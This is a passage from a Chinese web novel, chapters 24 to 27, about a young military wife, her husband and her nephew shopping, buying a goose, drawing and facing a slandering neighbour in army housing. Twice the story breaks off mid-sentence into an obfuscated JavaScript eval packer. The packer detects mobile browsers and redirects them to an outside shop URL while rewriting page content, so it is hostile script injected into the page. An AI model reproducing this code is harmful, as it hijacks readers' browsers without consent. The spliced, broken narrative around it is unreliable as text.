“我家老魏是三团的团长,咱们就住隔壁,以后就是邻居了!” “吴姐好。”舒瑜顺着叫了一声。 吴小铃笑得眼睛都弯成一条缝:“咱前阵子就听说了,厉团长娶了媳妇回来,可把我们稀奇坏了!” 她说着,又仔细看了看舒瑜,只觉得这姑娘长得真好,比起文工团的姑娘们都差不了什么,就是瘦了些,脸小小白白的,看着也忒年轻了。 吴小铃话锋一转:“妹子,你刚来,这儿啥都不熟,有事尽管来找我,买菜、认路啊,都行!” “姐在这儿住了好几年了,门清儿!” 舒瑜笑道:“谢谢吴姐,那我可就不客气了。” “甭客气。”吴小铃爽朗地一挥手。 “小姑,我洗好了。”舒明淮跑出来。 吴小铃知道舒瑜是以前舒营长的妹妹,那这孩子,不就是……她这么想着,看向舒明淮的眼神中不免有些怜惜和同情,她的孩子也差不多这么大。 “吴姐,这是我侄子,明淮。”舒瑜介绍,“明淮,这是隔壁的吴婶子。” “吴婶子好。”舒明淮问好,他在外人面前一向腼腆内向,但也很懂礼貌,尤其面前这个婶子看着一脸和善。 厉关岳提着早饭回来,走近了就看见舒瑜正和隔壁吴嫂子站在门口说话,两个人有说有笑的,气氛瞧着不错。 “舒瑜。”他叫了一声,又朝吴小铃点了点头,“嫂子。” 吴小铃见厉关岳回来,赶忙道:“那姐就不打扰你们了,舒妹子有事就叫我啊。” “好,谢谢吴姐。”舒瑜笑着应道。 吴小铃风风火火地回了自己家,舒瑜也转身跟着厉关岳进了屋。 早饭是包子和稀饭,还冒着热气。 舒瑜吹着粥慢慢喝着,不忘嘱咐舒明淮“小心烫”,厉关岳则很快解决了两个包子,起身进了卧室。 厉关岳推开门,走到床边,视线一扫。 床上被子乱着,互相压在一起,上面一团白色的格外显眼的布料闯进他眼里。 是舒瑜晚上穿的那件衬衣,就那样皱巴巴地团在那儿。 厉关岳伸出手,勾起那团布料,拎在眼前看了几秒,布料轻薄,许是洗得多了,甚至有些透明,软塌塌地垂着,袖口还翻卷在一起。 他垂下眼,手指动了动,几息间,就将那件衬衣叠得整整齐齐 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收拾好床铺,厉关岳从自己的包里拿出一本厚厚的书,递到舒瑜面前。 “这是什么?”舒瑜接过来,低头一看封皮,“毛主席选集?”她有些不明所以,但还是下意识翻开了书页。 刚翻开第一页,里头就掉出一张小纸片,舒瑜拿起来一看,愣住了。 是张粮票。 她又往后翻,这回是油票,后面布票、糖票,每隔几页就夹着那么一两张,薄的厚的,花花绿绿。 舒瑜睁大了眼睛,一页页翻下去,常见的就不说了,还有工业券、棉花票、肥皂票……更稀罕的,自行车票、缝纫机票,竟然都有。 她捧着这本莫名越来越承重的书,抬起头:“这……” 厉关岳从她手里抽了几张出来:“都拿上吧,今天要添置的东西多,这些应该够用了。” 舒瑜忍不住问:“这里头不会什么票都有吧?” 厉关岳嘴角悄悄弯了一下,笑意浅浅:“没那么夸张,大部分吧。”至少是他知道的票都有,不为什么,只是他看着舒服,就都攒了。 看着过去自己千方百计攒来换来的票,被他的妻子捧在手里,就好像过去所有的一切都是为了这一刻。 他把他的一切交付到了她手上。 厉关岳觉得这一刻的自己好像不太像他了,要是过去的他,很难想象会把东西毫无保留地给出去,再怎么也会有所保留。 但对于一个家庭来说,这是应该的。 厉关岳将自己的反常归结于此,忽略了在舒瑜稳稳拖住自己东西时,自己那涨得满满的,甚至溢出愉悦的心。 大部分。 舒瑜听出来了某人话中的那一丝丝小得意,她压住往上翘的嘴角,一本正经地看着他,认真道:“太厉害了吧,五哥。” “多亏你攒了这么多,咱们家可以好好布置了。”她心里却在想,这人该不会有收集癖吧。 太妙了,原本她还担心很多东西没有票,就算有钱,想买也买不着呢。 24. 第二十四章 附近有公交车能到县里,三人简单收拾了一下便出了门。 到了县城,厉关岳轻车熟路地带他们找到了供销社,比起老家那家,这里的显然要大不少,柜台也多了好几个,里头摆着的东西齐全不少。 他们往里走了几个柜台,厉关岳这才停在卖手表的地方。 “同志,看看手表?”柜台后的售货员见有人来,热情地招呼着,“这些都是沪市来的货,质量好着呢。”售货员先指给他们看的是男式表。 厉关岳:“要女式表。” 她看面前这两人穿着样貌都不差,心里猜测是对刚结婚年轻夫妻,很有可能买表,便细心解释道:“这几款女式的,表盘小巧,戴着秀气,六十块加一张工业券。” “这款大点,比较显眼,五十五。” 舒瑜顺着她的介绍一一看过去,一块块手表躺在绒布上,她目光在一块小巧的表上停了一下,又看了看价签。 六十块。 他们家虽不缺钱,可她在家待着好像也不太需要看时间,手表对她来说又不是必需品。 正想着,耳边忽然压过来一道低低的声音。 “我之前打听了,”厉关岳站在她身侧,微微偏过头,“娶媳妇,最好要准备四大件,我想着,你也应该有。” 舒瑜一愣,抬头看他。 厉关岳没看她,目光落在柜台里的手表上,脸上是惯常的温和,看不出他的情绪。 舒瑜的犹豫散去,她弯起眼睛,指着一开始看中的那块小巧的女表,侧头对他笑,眼底透着藏不住的欢喜:“五哥,我喜欢这个。” 厉关岳:“麻烦拿出来看看。” 售货员将表递上。 “戴上试试。” 舒瑜接过,试着往手腕上扣,可她单手操作不太熟练,表带又细,扣了半天也没对准那个小小的扣眼,表带滑来滑去的,越急越扣不上。 正懊恼着,一双手伸了过来。 厉关岳接过她手里的表,垂下眼,手指捏住那细细的表带,轻轻绕过她的手腕,他的指尖有些热,划过舒瑜微凉的手腕,带给她细微的颤栗。 他不紧不慢地将表带两端对齐,扣眼对准,轻轻一按,表就戴好了。 舒瑜低着头,看着那双修长有力的手在自己腕间动作,表扣好的一瞬间,她下意识抬眼,正对上他的视线。 他的目光刚好从她手腕移到她脸上,停了一瞬。 刹那,视线相对,可下一秒,两个当事人却像触电一般同时挪开眼。 舒瑜抬手,问:“好看吗?” 表盘大小适中,刚好卡在她细细的腕骨上方,深棕色的表带衬得那截手腕越发白皙,看得厉关岳下颌紧了一瞬,很像咬人的前奏。 “好看。”他说,不知道是说表还是什么。 舒瑜睨他一眼,谁问你了? 可不知怎的,一触及他的脸,舒瑜只觉后背一凉,连忙收回手,俯身问舒明淮:“明淮,这个好看吗?” 他高兴地点头:“好看的!” 舒瑜笑:“回去姑教你看表。” 舒明淮看起来更加高兴了。 被忽略的厉关岳:…… 他转头对售货员道:“就这个了。” 递上票又付了钱,他们继续往里走。 舒瑜道:“再去看看家用的东西。”锅碗瓢盆,柴米油盐,家里样样都缺。 厉关岳“嗯”一声,三人便往日用品那边走。 路过一个柜台时,一阵香气飘了过来。 舒瑜脚步一滞,吸了两下:“好香。” 她停下来,顺着香味望过去,那是个卖护肤品的柜台。 只见玻璃柜台里摆着几个白色的瓷瓶,瓶身上印着简单的图案和字,还有雪花膏、蛤蜊油、香粉之类的。 柜台前站着一对年轻男女,背对着他们,女人穿着件崭新的碎花上衣,男的一身半新不旧的中山装,正拉着女的袖子,小声说着什么。 “这个雪花膏再拿一盒。”女的指着柜台,声音不小。 男的有些急了,拉着她衣角:“小雪,够了够了,回去妈看到又要说了。” 话还没说完,女的就回过头,不耐烦地瞪他:“怎么,心疼钱了,觉得我配不上这雪花膏是吧? “刚结婚就这么对我?” “不是不是!”男的连连摆手,涨红了脸。 小雪偷偷翻了个白眼,又回过头,主动拉住他的袖子晃了晃,声音软下来:“那你给不给我买嘛?” 男的傻乎乎地笑了,连连点头:“买买买。” 女的这才满意,又回过头去挑,嘴里还说着:“我擦了香,你不也能闻到吗?” “还便宜你了呢。” 舒瑜站在一旁,把这一幕从头看到尾,原来香味是护肤品里的。 舒瑜看了眼柜台里那些瓶瓶罐罐,心里也有些痒痒的,她转过头,故意夹着嗓子:“五哥,我也给你闻香。” 厉关岳垂眼看她,又默默移开,声音平平,不接“闻香”这话茬:“我们家的钱不都在你那?” 言下之意,你想买就买,问我做什么。 舒瑜眨眨眼,眼底闪过一丝狡黠,继续逗他:“那五哥想不想闻嘛?” 她觉得偶尔逗逗这平素温温和和,看着正正经经的厉关岳,还挺有意思的。 厉关岳又看了她一眼,带着点无奈,他看穿了她的恶趣味,慢慢吐出两个字:“不想。” 舒瑜噘了噘嘴,转身就往柜台走:“那我就要买,你不闻就是了。” 舒明淮抬头看了眼厉叔叔,随即小跑着跟上舒瑜。 被落下的厉关岳站在原地,看着那一大一小两个背影,无奈地摇摇头,跟了上去,眼底却盛满了笑意。 满载而归。 从供销社出来,他们手里都提满了日用品,还花巨资每人买了套衣服,加上舒瑜那两盒雪花膏和香粉,塞得满满当当。 厉关岳对舒瑜道:“我去把东西拿到车那边,部队今天有物资车过来,我跟他们打过招呼,帮忙运回去。” “你们在这儿等我一会儿。” 舒瑜点头:“好,你去吧。” 厉关岳把舒瑜和舒明淮手里的东西也接过来,两手提得满满当当,大步走去,瞧着毫不费力,轻轻松松的样子。 可真有劲。< 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回过神,她道:“咱们就看看,不买。”她牵着舒明淮往回走。 舒瑜带着舒明淮慢慢逛着,走到一个角落,她的脚步忽然停住不动了。 她目光凝住。 柜台里,竟然摆着绘画用品。 这个年代的绘画用品很简单,没有她熟悉的那些高档品牌。 几盒铅笔,是那种最基础的,绘画本封面素净,还有橡皮,炭笔。 最简单的画材,却让她移不开眼。 舒瑜站在那儿,久久没有动。 她想起自己学画画那些年,素描、水粉、油画,一路画过来。 后来有了平板,又开始学板绘,攒钱买了好的数位板,那时候觉得随处可买的工具,现在隔着一整个时代,变得遥远而珍贵。 她好像已经很久,没有画过画了。 从穿回来到现在,每天都在应付各种各样的事,面对那些复杂的人,装傻、保命、筹谋。 那段时间,她没有想起过画画,怕想了,就没有勇气面对真实的生活了 可现在,看着这些简陋的画具,心底某个地方却被深深触动了。 她还是想画。 画什么都可以。 画明淮,画五哥,画这个陌生又熟悉的时代,画她看到的、感受到的一切。 舒瑜抿了抿唇,说道:“同志,这个绘画本,给我拿一本,还有铅笔,这几种都来两只。” 售货员把东西拿出来,舒瑜付了钱,这些小东西甚至用不着什么票,也就几毛钱。 但这时候,就这几毛钱,一般家庭也是不会给孩子买的。 舒明淮仰头看她:“小姑,你喜欢画画吗?” 舒瑜低下头,对上他好奇的眼睛,笑道:“喜欢啊,我们回去一起画,好不好?” “嗯!” 她把本子和铅笔收好,牵着舒明淮往外走。 没有那些五花八门的、昂贵的画材工具,但她还有手,还有眼睛,还有想画画的心。 足够了。 25. 第二十五章 很快,厉关岳放好东西回来了,他远远就看见舒瑜站在供销社门口,一手牵着舒明淮,一手朝他挥着,脸上笑盈盈的。 走近了,他才注意到她手上的布袋子鼓鼓囊囊装地好像着什么东西, “买了什么好东西?”他问,话里带着点笑,“这么高兴。” 舒瑜把布袋敞开给他看:“画画用的。”她抬起头,解释道,“我喜欢画画,以前跟着老师学过一阵子,有机会给你画一张。” 舒瑜这话是为着以后,向他解释自己会画画的原因,至于最后那句,就是随口画的大饼。 厉关岳低头看了眼布袋里的画具,眉眼舒展:“好啊,我等着。”像是听进去了她的大饼。 舒瑜眨眨眼,没想到他这么捧场,心里莫名有点虚,又有些想笑。 午饭是在国营饭店吃的。 厉关岳还是让她们先找位置坐下,他去打饭菜,刚转身走出两步,舒瑜忽然叫住他。 “五哥。” 厉关岳回头,见她一脸凝重,还以为有什么要紧事,停下脚步,等她开口。 舒瑜认真地看着他,一字一句道:“不要茄子。” 厉关岳一愣。 就这? 见舒瑜一本正经的绷着脸,对茄子“如临大敌”,厉关岳心里无奈地摇摇头:“好。” 原来她不爱吃茄子。 厉关岳转过身,往窗口走去,心里暗暗记下。 吃完饭,三个人往回走,路过一个集市,里头传来热热闹闹的人声,舒瑜踮脚望了望:“进去看看?” 厉关岳自然没意见,舒明淮也乖乖跟着。 集市不大,多是附近农民挑着担子来卖菜的,地上多摆着竹筐,里头装着青菜白菜、鸡蛋鸭蛋什么的,吆喝声、讨价还价声混成一片。 舒瑜眼睛尖,一眼看见个老婶子面前摆着半篮子鸡蛋,领着他们走过去。 她鸡蛋煎得蛮不错的。 “五哥,买点鸡蛋吧。” 舒瑜弯腰,问道:“婶子,这鸡蛋怎么卖的?” 老婶子听见问话,一张晒得黑红的脸上带着笑:“六分钱一个,姑娘要几个?” “我挑挑。”舒瑜蹲下。 厉关岳跟着蹲下帮忙,舒明淮就乖乖站在他们身边,眼睛好奇地看着来来往往的人群。 集市人多,小孩可得看紧,舒瑜时不时侧头看一眼舒明淮,确认他还在身边。 舒瑜正低头挑鸡蛋,忽然听见不远处一阵喧哗。 人声里混着什么动物的叫声,好像还有翅膀扑腾的声音,越来越近,还没等她反应过来,一道白影猛地从人群缝隙里冲了出来,直直撞向舒明淮。 “明淮!” 舒明淮被撞得往后一仰,一屁股坐到地上,他下意识伸手一抱,那只冲过来的东西,正好被他抱了个满怀。 舒瑜定睛一看,居然是一只大白鹅。 这鹅个头不小,脖子立起来有舒明淮肩膀高,此刻被这孩子抱着,它扑腾了两下翅膀,竟渐渐安静下来,长长的脖子软软地贴在舒明淮额边。 舒明淮坐在地上,怀里抱着只大白鹅,整个人都懵住了。 舒瑜一时间也手足无措,不知该先抓起大鹅,还是先把舒明淮扶起来。 主要是那大白鹅看着挺温顺,被明淮抱着,一点没有要挣扎的意思。 她看着这一幕,觉得挺戏剧的,有些想笑。 “这是什么?”她一边弯腰去扶舒明淮,一边说道,“守株待鹅?” 舒明淮被她扶着站起来,怀里还抱着那只鹅,一脸无辜地叫了声:“小姑……”他也不敢松手,怕一动大鹅就挣扎起来。 厉关岳在一旁看着,眼里浮起笑意,似是也被这一幕逗笑了。 这时,一个老汉匆匆忙忙从人群里挤过来,肩上还挑着担子,竹篮里露出两只鸡的脑袋,他走过来连声道歉:“对不住对不住!” “同志,没吓着孩子吧?这鹅受惊了,一下子没拦住……” 舒瑜低头示意了舒明淮一眼,让他自己说,舒明淮抬起头,并不怯懦,只有些许腼腆,他声音清亮:“没有吓到,大鹅很乖。” 老汉一愣,低头细看,这才发现那“家中恶霸”竟乖乖靠在孩子怀里,一动不动,哪有半点平日里横冲直撞的样子。 “呦,这可奇了!”他稀奇地瞪大眼睛,“这鹅在我们村是出了名的凶,见生人就追,头一回见它这么乖顺。” 老汉乐呵呵道:“孩子,它喜欢你哩。” 舒明淮怔住了。 它喜欢他? 他低头看向怀里的大白鹅,鹅也正微微仰着脖子,豆大的眼睛望着他,竟真的透着几分温顺。 他以前在家里喂鸡喂鸭,鸡鸭吃饱了就走,他从来不敢多接触,怕一个不好养死了,大伯娘说这鸡鸭可比他重要多了,让他照顾好。 舒明淮眼底忽然焕发光亮,透着被小动物喜欢的新奇和愉悦。 厉关岳忽然开口,问老伯:“这鹅卖不卖?” 老汉一愣,犹豫了一下:“卖,就……四块一只。” 其实他也舍不得,这鹅养了两年了,只是脾气实在不好,前几天他大孙子非要拔它毛,被它狠狠啄了一口。 虽说大孙子先招惹的,可老妻心疼孙子,非要他拿来卖了换钱,他这才挑着鹅和鸡来集市上碰碰运气。 厉关岳伸手进兜要掏钱,没摸到东西,他身上最后的钱也在早上买早饭用掉了,一上午都是舒瑜给的钱和票,他一时间忘了。 他默默扭头看舒瑜。 舒瑜忍笑,付了钱。 老汉接过钱,又状似无意道:“这鹅看家护院可不差,认家的。”多的他也不好说什么,毕竟卖了就卖了。 舒明淮见小姑竟然把鹅买了下来,抱着鹅的手紧了紧,心里涌上一点小欢喜。 舒瑜低头,注意到舒明淮都变化,心里软成一片。 她知道,明淮是听老伯说大鹅喜欢他,便也把这份喜欢回馈了出去,即使对象是一只动物。 他一直是这样,别人给他一分好,他就记着十分。 她笑着说:“那就带回去让它给我们看家,好不好?” 说着,她瞥了厉关岳一眼,像是在问:行吗? 厉关岳对上她那试探的小眼神:“好。” 他本就是见明淮抱着鹅不撒手,眼里难得露出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晚上,舒瑜洗漱完躺回床上,忽然想起白天买鹅时厉关岳掏不出钱的那一幕。 她当时没说什么,这会儿躺下来,却压不住嘴角。 她翻身坐起来,从自己收着的那个小布包里数出二十块钱,等厉关岳进来,递到他面前。 厉关岳一时没接,抬眼疑惑地看她。 舒瑜睨他一眼:“这是零花钱。” 虽然心里笑他不知道给自己留钱,可到底,她这会儿又高兴又安心的。 厉关岳低头接过:“好,明天给你们带晚饭回来。” 舒瑜伸手推了一下他肩膀,嗔道:“饭钱另外算,你自己从柜子里拿。” 她说完,翻了个身,背对着他,声音闷闷地传过来:“别人出门都有钱的,你没有不得被笑话啊,到时候人家还以为你娶了个母老虎、吞金兽呢。” 厉关岳看着她那侧着的背影,眼底流露出浅浅的笑意,翻身上了床。 夜深了,屋里安静下来。 舒瑜沉沉睡去,浑然不知自己又向隔壁伸出了蠢蠢欲动的冰块小脚,直往温暖的地方探。 厉关岳闭着眼,及时抓住,往下方拉了一下。 没过多久,舒瑜贴着他大腿的脚暖了起来,整个人也迷迷糊糊地蹭了过去。 第二天一早,厉关岳要回部队了。 他轻轻起身,动作熟练地把她的手臂挪开。 厉关岳站在床边,边扣衣服边想着昨晚嘱咐过她,早午饭可以去食堂吃,便放心地出了门。 26. 第二十六章 舒瑜醒来,闭着眼蹭了蹭被子,只觉得这两天的睡眠是越来越好了,想来是睡在安心的地方,周边没了那些要算计她的人,才能这样踏实。 她掀开被子起身,换好衣服,朝门口走了两步,忽然脚步一滞。 她卡机了一般慢慢回过头,盯着床上那两床被子,一床是她的,一床是厉关岳的,此刻她的那床有一大半垂在床沿,而厉关岳那床几乎铺满整张床,被面上还有个人形的凸起。 她刚刚,是在哪一床被子里醒来的来着? 舒瑜呆住了,脑子慢慢转过弯来:原来厉关岳说自己没挤到他是客气话,她竟然还真当真了? 怪不得她晚上睡得跟火炉边似的,手脚也不冷了,原来是拿人家当人形电热毯了。 舒瑜心虚了一秒,转念一想,又理直气壮起来:让她蹭蹭温度怎么了,她虽然欣赏大佬的身子,但又没做什么过分的事。 再说了,他也没叫醒她,说明也不介意的嘛。 她轻咳一声,假装什么都没发现,推门出去。 属于先去对面明淮的屋子,里头空空的,被子叠得整齐,外头隐约传来孩子的说话声和大鹅的叫声。 洗漱完,她进了厨房。 锅里放点油,等油热了,舒瑜单手磕开鸡蛋,蛋液落进锅里,“滋啦”一声,边缘迅速凝固起泡。 她握着锅柄轻轻晃了晃,让蛋液均匀铺开,等底面煎得金黄,手腕一栋,鸡蛋翻了个面。 两面金黄,蛋黄还带着一点溏心,盛进碟子里,色泽金黄鲜亮。 不一会儿,她端着两个碟子到前厅,扬声叫道:“明淮,吃早饭了!” 舒明淮应声跑进来,脸上还带着玩耍后的笑:“小姑,我来啦!” “去洗手。” 舒明淮便噔噔噔跑去洗手,又噔噔噔跑回来,爬上椅子坐好。 舒瑜把碟子推到他面前:“尝尝好不好吃。” 舒明淮夹起煎蛋咬了一大口,嚼嚼嚼,眼睛亮了:“好吃!” 舒瑜见状,也开心地吃起来。 大门没关,大白鹅摇摇晃晃地走进来,伸着长脖子望了望四周,最后踱到舒明淮脚边,蹲下来。 舒瑜看着,笑道:“明淮,你给它取名字了吗?” 舒明淮咽下一口煎蛋:“取名字?” 没人告诉过他,还可以给动物取名字。 “对啊。”舒瑜托着下巴看他,“给它取个名字,以后它就是你的好朋友,可以陪你一起长大。” 舒明淮脸颊慢慢浮现一层红,红坨坨的一片,高兴不已,他低头看看他的好朋友,认真想了想:“叫大白?” 舒瑜眨眨眼:“哈?” 舒明淮自己先否定了:“不好不好。” 见舒明淮那样纠结,舒瑜给他出主意:“看它毛茸茸的,不如叫……”茸茸 “毛毛!”舒明淮突然举手抢答,亮晶晶的小眼神望着她。 舒瑜笑了:“不错,快吃吧,吃完带着你的毛毛去院里玩。” 洗掉碗筷,舒瑜回到前厅,撑着脑袋侧脸望向窗外。 院子里,舒明淮正和毛毛追逐玩耍。 毛毛摇摇晃晃地跑在前面,舒明淮在后面追,跑几步又停下来,毛毛便掉转头,扑扇着翅膀朝他冲过去,一人一鹅在院子里转着圈,偶尔传来舒明淮欢快的笑声。 阳光正好。 舒瑜看着看着,忽然来了兴致,她起身拿来了画纸和铅笔。 笔尖落在纸上,她时不时抬头观察一眼窗外,又低下头继续勾勒。 阳光斜斜地投进来,照亮了她的侧脸,在她低垂的睫毛下投出一小片阴影。 绘画是的舒瑜神情专注又柔和,嘴角不自觉噙上一抹淡笑,也像是一幅画。 窗外在欢快的追逐玩耍,窗内是静谧的笔触。 不知过了多久,舒瑜停下笔。 纸上,窗户的轮廓也被细细勾勒出来,透过那扇窗,笑容灿烂的男孩正张开双臂,大白鹅扑扇着翅膀朝他奔去,男孩微微后仰,画面定格在他们即将相拥的瞬间。 她托着下巴自我欣赏了一番,心情很好地点点头。 “明淮,”她起身朝外喊道,“进来喝口水。” 舒明淮听见,小跑着进来,毛毛跟在后头,舒瑜给他倒了碗水,又拿了个小碟子,倒了些水放在桌角,毛毛便凑过去,伸长脖子一下一下地啄着喝。 舒明淮“咕噜咕噜”喝完水,一抬眼,目光落在桌面的画纸上。 他伸长脖子看了好一会儿:“小姑,这是我和毛毛吗?” 舒瑜笑着点头:“对啊,你和毛毛。” 舒明淮得到肯定,先是高兴,盯着那张画看了又看,过了一会儿,他期期艾艾地开口:“小姑,这个可以、可以……” 舒瑜鼓励地看着他,等他继续说下去。 舒明淮攥了攥手指,鼓起勇气:“可以送给我吗?”他想好好保存下来,这是小姑画的他和毛毛。 舒瑜:“当然可以啦。” 她是真的高兴,一是自己的画被人喜欢,二是明淮愿意开口说出自己想要的东西。 他们都有在变好。 舒瑜将画递给舒明淮,看他捧着那张画像捧着什么了不得的宝贝,心里很暖。 舒明淮蹲下把画展开在毛毛面前:“毛毛,你看,这是我,这个是你。” 他指着画介绍,毛毛的豆豆眼在画纸上停留好几秒,“嘎嘎”叫唤一声,似乎也在高兴。 给毛毛看完,舒明淮把画小心翼翼地收到自己房间的抽屉里。 舒瑜趴在窗边,目光越过院子,落在侧边那片空地上。 阳光明媚,似乎照得那片地都暖融融的,她越看越觉得这两块地空着太可惜。 侧院那块,可以种些好养的花,再靠墙搭个葡萄藤架,明淮可以在这玩,她也能搬个凳子坐在那儿画画。 她托着腮,畅想着那个画面,余光瞥到一旁踱步的毛毛,又在侧院给它规划了个窝。 前院就拿来种菜,舒瑜在脑子里一点点规划着,眼前仿佛已经浮现出自己的田园风小院。 她正想得入神,忽然被自己逗笑了。 时间过得快,转眼到了午饭点,舒瑜招呼舒明淮,带着他去食堂吃饭,昨天厉关岳带她走过一回,确实不远,沿着路走五六分钟就到了。 吃完饭往回走,太阳正当头,暖洋洋的,两人慢悠悠地晃回去,刚走到他们那一排房,远远就看见隔壁吴姐家门口站着两个人。 走近了,才看清是吴姐站在自家院门口,对面是个头发花白的老太太,正叉着腰在说什么。 舒瑜见过的吴姐一直都是爽朗笑着的,可此刻,吴小铃脸上没了笑,皱着眉头,声音拔高道:“婶子,我跟你说多少回了?” “这是我家院子,你要葱,好歹跟我说一声,哪有直接上手就摘的?” 吴小铃她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258690|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家院子里种着一大片绿油油的大葱,长得那叫一个好,可是她一手精心伺候的,她和她家老魏一个地方的,都好这口,这葱就是他们的心头宝。 那老太撇撇嘴:“不就一根葱吗,邻里邻居的,你这么计较干啥?” “一根葱?”吴小铃气笑了,“你今儿一根,明儿一根,我这一院子葱还不够你摘的,再说了,这是计较不计较的事儿吗?” “你摘之前好歹说一声。”吴小铃抱怨。 老太太只摆摆手,嘴里念叨着:“行行行,知道了。”说着就要走。 吴小铃拦住她:“别走啊婶子,咱们今儿把话说清楚。” “这是第三次了,你再这样,我可真找方副团长说道说道了。” 老太太一听这话,随即变了脸色,又摆出那副“你可真不懂事”的无奈表情:“你这孩子,就一根葱的是,我儿子跟你家老魏一个团的,抬头不见低头见,你为根葱闹成这样,像话吗?” 孙老太心道:“这老魏家的真小家子气,可见那魏团长也不咋样。“真不知道领导是咋想的,那时候竟然不选她家有根当团长。 她越想越替自己儿子委屈。 有根多老实本分的一个人,就是不会钻营,不会来事,硬生生被那姓魏的压了一头,还有她那儿媳,也是个傻愣子,在吴小铃面前也不知道硬气点,真是丢他们老方家的脸。 她现在在这儿,说到底,不就是为了替儿子出口小小的气吗? 舒瑜打算默默走过,虽然她肯定是赞同吴姐的,但听着那老太说什么“一个团的”那阴阳怪气的语气,估计这可不只一根葱的事。 可现实不随她意。 孙老太一扭头,瞥见她路过,浑浊的眼珠子在她身上转了一圈。 这姑娘瘦巴巴的,一看就不好生养,她心里不屑。 呵,不过年轻姑娘面子薄,肯定不会反驳她的话。 “姑娘,你来得正好。”孙老太叫住她,,“你来评评理,哪有这么小家子气的人?就要她一根葱,瞧她给闹的。” 舒瑜停下脚步,没理她,却不好不给看向自己的吴姐反应,她朝吴小铃笑了笑,打招呼道:“吴姐,午饭吃了吗?” 吴小铃见舒瑜压根没接孙老太的话茬,脸色缓和了些:“吃了,大中午的,妹子咋和孩子在外头?” “我们去食堂吃了午饭回来。”舒瑜答。 吴小铃没多想,也不想把舒瑜扯进这破事里,便道:“成,这日头大,赶紧带孩子回去吧。” 孙老太见这随口叫住的姑娘竟然跟吴小铃认识,还对她爱答不理的,顿时不痛快了,她上下打量着舒瑜:“呦,这姑娘是?” 吴小铃直接翻了个白眼,懒得绕弯子:“舒妹子是一团厉团长的媳妇。” 言下之意,别惹人家,你惹不起。 孙老太一愣。 厉团长? 也是个团长? 她那眼珠子转了转,又仔细打量起舒瑜来,这么年轻个姑娘,竟然嫁了个团长? 她家有根四十多了还是副团长,那厉团长年纪肯定更大。 她又注意到舒明淮,原以为这俩人是兄妹来着,现在一看,可没这么简单呢。 孩子也不大,五六岁的样子,这姑娘嫁个老男人,还带着个孩子。 孙老太脑子里转了几转,脸上露出那种“我懂了”的神情,啧啧了两声。 年纪轻轻就当人后妈。 27. 第二十七章 舒瑜在孙老太那黏腻的扫视下感到一阵不适,不过,她没打算理这人,这种人你越理她她越来劲,何况现在也没真招惹到她头上。 她转向吴小铃,微笑道:“吴姐,那我先带孩子回去了。” 可孙老太显然没把吴小铃警告的话听进去,在她看来,自己儿子是副团长,离团长不就差那么一丁点儿嘛。 咋的,他们还能欺负她一个老太太不成? 她现在就看舒瑜不顺眼,越看越觉得这姑娘长得就是一副狐媚相,也不知道怎么勾搭上那团长的。 她撇撇嘴,状似自言自语,声音却没有丝毫掩饰,在场的人都能听得清清楚楚。 “后娘能是什么好的?有了后娘就有了后爹,真可怜了这孩子。” 那语气听着像是惋惜,可孙老太的眼神里是明晃晃的幸灾乐祸和鄙夷。 舒明淮隐约听出了是在说他,可他觉得自己不可怜啊! 他有小姑,有厉叔叔,还有毛毛,他们都对他很好。 舒瑜听着这莫名其妙的话,一下子没反应过来。 什么后娘后爹的? 吴小铃也被这话整懵了,皱起眉头:“孙大娘,你说啥呢?” 孙老太见舒瑜呆在那儿不出声,以为她是心虚了,顿时更加来劲,嗓门都大了些:“不是我说,你这姑娘年纪轻轻的,为了攀高枝嫁个老男人,也不嫌磕碜。” 舒瑜瞳孔一缩。 啊,这是在说她吗? 老男人,是指厉关岳? 孙老太见她不吭声,以为自己说中了,脸上的笑越发得意,眼尾褶皱都多了几条:“也别怪老婆子我多嘴,你当人后妈的,连饭都不给孩子烧一口,还要去食堂吃。” “你男人就是惯的你,真败家啊。” 舒瑜这下听明白了。 舒瑜恶心死了这种凭空就开始造谣的人,她面色淡下来,眼神冷冷地落在孙老太那张自鸣得意的脸上,刚要开口就被吴姐的厉声打断。 “你这死老太婆胡说什么呢!” 吴小铃一步上前,她性子直,脾气爆,觉得舒瑜是因为自己才被这不要脸的缠上的,又见孙老太越说越不像话,句句往舒瑜身上泼脏水,哪里还忍得住? 她印象中,舒瑜瘦瘦弱弱的,性子看着也温温吞吞,肯定不会吵架,这事又是因她而起,可不得护着人家。 孙老太被吴小铃这突如其来的声音吓了一跳,后退半步,手抚着胸口顺气,嘴里“哎呦”了一声。 吴小铃拧着眉:“厉团长和舒瑜都是头婚,你嘴巴一张就污蔑人家,安的什么心?” 孙老太脸色变了变,眼里闪过一丝心虚,她没想到自己竟然想岔了。 可也就理亏那么几秒,她很快又挺直了腰板,理直气壮道:“我就随口说说,不是就不是呗,你们跟我一个老太婆计较啥?” 舒瑜:“这位大娘,随意造谣军人家属,这话传出去,不知道的还以为我们家属院都是什么思想觉悟低下的人,影响的是整个部队。” “还是说——”她缓缓道,“方副团长平日里对家属的管束就是这样,才让你在外面这么口无遮拦?” 孙老太脸色一变,没想到这看着柔顺的姑娘一开口就把她儿子扯进来,她眉毛一竖,尖利道:“小丫头片子,你胡说八道什么,我家有根好得很!” 舒瑜没理会她的叫嚷:“也是,有一个偷东西的娘,也不知道方副团长这么看。” “你这小——” “娘!娘啊!”一道急切的声音从吴小铃家隔壁传出来,一个三十来岁的女人匆匆跑出来,一边跑一边喊,正是方家的儿媳方金花。 方金花刚才一直在屋里透过窗子看着他们,越看越觉得不对。 她虽没和厉团长家的说过话,可在家属院也听过几耳朵,不说人是厉团长的媳妇,舒瑜还是烈士家属,养着烈士的遗孤,哪一样拿出来都不好惹。 真要闹大了,一顶“欺负排挤烈士家属”的帽子扣下来,她家老方可担不起。 